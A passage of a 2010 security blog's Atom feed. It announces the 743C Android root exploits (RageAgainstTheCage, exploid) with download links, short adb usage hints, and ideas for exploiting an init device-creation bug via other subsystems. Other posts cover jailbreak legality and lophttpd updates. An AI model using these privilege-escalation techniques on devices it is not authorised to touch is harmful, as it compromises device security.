monospace;"&gt;GCC folks told me to use memcpy() instead of&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;*(int *)&amp;amp;buf[0] = 0x73;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Time to fix.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-109057131047293762?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/109057131047293762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=109057131047293762' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/109057131047293762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/109057131047293762'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/09/updated-crypto-tools-available.html' title='updated crypto tools available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7826268549655060242</id><published>2010-08-28T04:18:00.000-07:00</published><updated>2010-08-28T04:20:45.368-07:00</updated><title type='text'>Please hold the line!</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DbsW_SGQJgI/THjtWWgssMI/AAAAAAAAAIs/JlZyPnlcnDc/s1600/743c-tux.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_DbsW_SGQJgI/THjtWWgssMI/AAAAAAAAAIs/JlZyPnlcnDc/s320/743c-tux.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Sure. I always did!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you are on top, you should stop. &lt;b&gt;The 743C project is past&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;There is not much we can achieve from now on anyways. More&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or less all the robots are belong to us. There is not much chance&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;that a device or brand cannot be owned with any of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the 743C exploits recently published. Even devices which&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;are not yet available on the market (epic) can be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;rooted with &lt;a href="http://stealth.openwall.net/xSports/RageAgainstTheCage.tgz"&gt;these&lt;/a&gt;&amp;nbsp;(src now included). If there are any&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;devices where the exploit doesnt work -- just let them live.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Personally, I will return to server&amp;amp;network security again&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;as well as HPC/HA. There will be no more 743C exploits in future.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Every now and then, I will have a look at android, since&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;- after all - it is a nice OS and there are a lot of things&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I am eager to learn from it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The 743C project was a short, but funny one. I want to thank&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;all the people involved with it; who discussed issues with&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;me as well as the folks who wrote all the tutorials and&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;hints or sent feedback.Thanks to the six people who&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;were actually PayPaling me :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Last but not least, I am very proud that 743C was hosted&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;by the &lt;i&gt;Openwall Project&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;They provided us with stable, secure and reliable hosting.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Without reliable hosting, everything is nothing.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7826268549655060242?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7826268549655060242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7826268549655060242' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7826268549655060242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7826268549655060242'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/08/please-hold-line.html' title='Please hold the line!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DbsW_SGQJgI/THjtWWgssMI/AAAAAAAAAIs/JlZyPnlcnDc/s72-c/743c-tux.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3692011620877364944</id><published>2010-08-21T04:54:00.000-07:00</published><updated>2010-08-27T08:51:37.135-07:00</updated><title type='text'>Droid2</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;A beta version of a new softbreak is available &lt;a href="http://stealth.openwall.net/743C/RageAgainstTheCage.tgz"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;If it works out it is made publically available.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;The l/p is beta/beta.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span"&gt;[Update:]&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It has been confirmed that the exploit is working on the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;backflip and evo too. Thats not surprising,I always&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;said it will work on the backflip :D&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I just wonder what all these timing discussions are about.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The exploit is doing everything alone by itself,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;you do not need to "exit" or kill the adb session.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Just execute it and wait until connection is reset by&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exploit. Then &lt;i&gt;adb kill-server; adb shell -&amp;gt; #&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Thats not too complicated. &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_DbsW_SGQJgI/TG-_Hdk5QSI/AAAAAAAAAIk/EEcs6UjQHKA/s1600/743c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_DbsW_SGQJgI/TG-_Hdk5QSI/AAAAAAAAAIk/EEcs6UjQHKA/s320/743c.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3692011620877364944?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3692011620877364944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3692011620877364944' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3692011620877364944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3692011620877364944'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/08/droid2.html' title='Droid2'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DbsW_SGQJgI/TG-_Hdk5QSI/AAAAAAAAAIk/EEcs6UjQHKA/s72-c/743c.jpg' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8789766201801837732</id><published>2010-07-27T23:53:00.000-07:00</published><updated>2010-07-28T02:51:17.934-07:00</updated><title type='text'>Jailbreaking legalized in terms of Y^HDMCA</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Apparently the &lt;a href="http://www.eff.org/press/archives/2010/07/26"&gt;EFF was able to relax some conditions of the DMCA&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Thanks to them it is now legal to jailbreak your phone.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Thats great news! :) Of course that only expresses what&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;sounds like human digital rights anyway: to own what you own.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;As a nice coincidence I was meeting some of them two weeks ago&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;at a developers conference.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Small side-notice: 743C is still accepting device-donations.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If you have an android &amp;gt;= 2.0 device (preferably newer ones&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;like DroidX, Milestone, Backflip, Hero, Desire etc.)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;that you dont need anymore&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;please leave me a comment with your contact address.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;I dont need the GSM part (e.g. no SIM). I run most of&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;the stuff inside emulator, but certain things need&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a real device as seen with &lt;i&gt;/etc/firmware&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;or the additional software that is installed by the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;vendor/carrier.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It would help to develop jailbreaks in future.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Some people uploaded videos of jailbreaks, using 734C &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exploits like &lt;a href="http://www.youtube.com/watch?v=ExqwnLoDSe0"&gt;this&lt;/a&gt; or &lt;a href="http://www.youtube.com/watch?v=HwNP5a5ULPs"&gt;that&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8789766201801837732?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8789766201801837732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8789766201801837732' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8789766201801837732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8789766201801837732'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/07/jailbreaking-legalized-in-terms-of-dmca.html' title='Jailbreaking legalized in terms of Y^HDMCA'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3937485905548283584</id><published>2010-07-23T01:35:00.000-07:00</published><updated>2010-07-23T04:16:27.877-07:00</updated><title type='text'>exploid works on the Droid X</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;It has been reported that apperently someone was&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;able to compile and run the exploid on the oh&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;so unbreakable Droid X.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;There seem to be devices with missing &lt;i&gt;/etc/firmware&lt;/i&gt; which&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;is needed as an exploit vector. However there are other&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;possibilities to exploit this init-bug. But its not the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;scope of 743C to provide working versions for every device.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Please note that this is a non-commercial spare-time project&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;and I even do not own any device for testing.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;If the &lt;b&gt;firmware&lt;/b&gt; subsystem doesnt work (it requires &lt;i&gt;/etc/firmware&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;so an additional path traversal bug can be exploited too),&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;one may also try the &lt;b&gt;usb, graphics, block, char, sound&lt;/b&gt; or &lt;b&gt;mtd&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;subsystem to create mode 0666 devices or to exploit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;a race condition during the device-creat&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;to chown /dev/mtd. It should be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;possible, however I dont have time to do so :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3937485905548283584?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3937485905548283584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3937485905548283584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3937485905548283584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3937485905548283584'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/07/exploid-works-on-droid-x.html' title='exploid works on the Droid X'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4142516906509608708</id><published>2010-07-15T05:27:00.000-07:00</published><updated>2010-07-15T05:33:37.185-07:00</updated><title type='text'>android trickery</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_DbsW_SGQJgI/TD7-nWMvHlI/AAAAAAAAAIc/kwRhz_ncFac/s1600/no-rocket-science.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/TD7-nWMvHlI/AAAAAAAAAIc/kwRhz_ncFac/s320/no-rocket-science.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://stealth.openwall.net/xSports/exploid.tgz"&gt;Free your phone.&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4142516906509608708?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4142516906509608708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4142516906509608708' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4142516906509608708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4142516906509608708'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/07/android-trickery.html' title='android trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DbsW_SGQJgI/TD7-nWMvHlI/AAAAAAAAAIc/kwRhz_ncFac/s72-c/no-rocket-science.gif' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4817593602197902707</id><published>2010-06-26T09:08:00.000-07:00</published><updated>2010-06-26T09:09:19.270-07:00</updated><title type='text'>Fixing large file truncation in lophttpd</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I dont want this to become a webserver blog, but I just fixed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;a bug which lead to truncation of&amp;nbsp; large files (e.g. &amp;gt;1Gig)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;while downloading. Stupid bug by using %d rather than %zu.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Its available at the usual location (version 0.85).&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Thanks to the one and only Nico for reporting. Your mad&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;scientists can now continue to download the star collision avi's. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4817593602197902707?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4817593602197902707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4817593602197902707' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4817593602197902707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4817593602197902707'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/06/fixing-large-file-truncation-in.html' title='Fixing large file truncation in lophttpd'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2480836328476548217</id><published>2010-06-24T06:39:00.000-07:00</published><updated>2010-06-24T06:41:16.478-07:00</updated><title type='text'>New lophttpd version supports faster logging</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;As announced in my previous post; the new &lt;a href="http://stealth.openwall.net/networking/lophttpd-0.84.tgz"&gt;lophttpd&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;package supports mmap and aio based logging now,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;if enabled via &lt;i&gt;-L mmap&lt;/i&gt; or &lt;i&gt;-L aio&lt;/i&gt; .&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2480836328476548217?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2480836328476548217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2480836328476548217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2480836328476548217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2480836328476548217'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/06/new-lophttpd-version-supporting-faster.html' title='New lophttpd version supports faster 